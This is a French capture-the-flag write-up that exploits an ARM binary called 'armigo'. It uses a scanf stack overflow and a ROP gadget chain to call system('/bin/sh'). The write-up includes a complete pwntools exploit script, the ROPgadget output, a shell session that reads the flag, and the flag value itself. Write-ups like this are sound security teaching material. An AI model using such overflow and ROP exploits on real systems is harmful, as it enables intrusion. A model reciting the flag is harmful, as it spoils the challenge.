Exécution arbitraire de debug
On analyse statiquement l’exécutable armigo
dans Ghidra.
On observe ainsi :
- que la fonction
main
est très minimaliste et appelle justescanf
sur un buffer de 64 octets, - que la fonction
debug
(en0x104d8
) prend 1 argument et appellesystem
dessus, - que le binaire est compilé statiquement avec une libc,
- que la chaîne
"/bin/sh"
est en0x73844
.
On souhaite réaliser un dépassement de stack lors du scanf
afin d’appeller system("/bin/sh")
.
La fonction main
finit par :
ldmia sp!, {r11,lr}
bx lr
Elle dépile r11
, puis lr
et branche à l’adresse pointée par lr
.
Donc si on envoie cyclic(64) + p32(0) + p32(0x104d8)
(syntaxe pwntools), nous pouvons exécuter debug
.
Néanmoins cela n’est pas suffisant car il faut contrôler son argument.
Gadget pour contrôler l’argument de system
L’idée est de trouver un bout de code (dit “gadget”) qui va permettre d’assigner l’adresse de "/bin/sh"
(0x73844
) dans r0
(premier argument dans la convention d’appel), avant d’appeler system
.
C’est du Return-Oriented Programming (ROP).
Pour chercher les bouts de code, nous pouvons soit manuellement inspecter la fin de toutes les fonctions visibles dans le désassemblé, soit utiliser un outil adapté tel que ROPgadget
.
Nous cherchons un gadget qui permet de contrôler r0
, puis qui dépile lr
et saute à son adresse (pour enchaîner avec system
).
$ ROPgadget --binary armigo | grep 'pop {r0'
0x00061ae8 : pop {r0, r1, r2, r3, ip, lr} ; ldr r1, [r0, #4] ; bx r1
0x00061acc : pop {r0, r1, r3, ip, lr} ; pop {r2} ; ldr r1, [r0, #4] ; bx r1
0x00027504 : pop {r0, r4, lr} ; bx lr
[...]
On choisit le gadget en 0x27504
qui dépile r0
, r4
puis qui saute à l’adresse qui suit dans la stack.
L’exploit en Python est alors :
from pwn import *
context.binary = ELF('armigo')
io = remote("localhost", 4000)
io.recvline()
# r11 lr (gadget) r0 r4 lr (debug)
io.sendline(cyclic(64) + p32(0) + p32(0x27504) + p32(0x73844) + p32(0) + p32(0x104d8))
io.interactive()
Et voilà, nous avons un shell et flag !
[*] '/redacted/armigo'
Arch: arm-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x10000)
Stripped: No
[+] Opening connection to localhost on port 4000: Done
[*] Switching to interactive mode
Hello aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaa!
$ ls
armigo
flag
run.sh
$ cat flag
ECSC{83f0ffc67a36bb6573e8c466e22b672e678df3bf}
$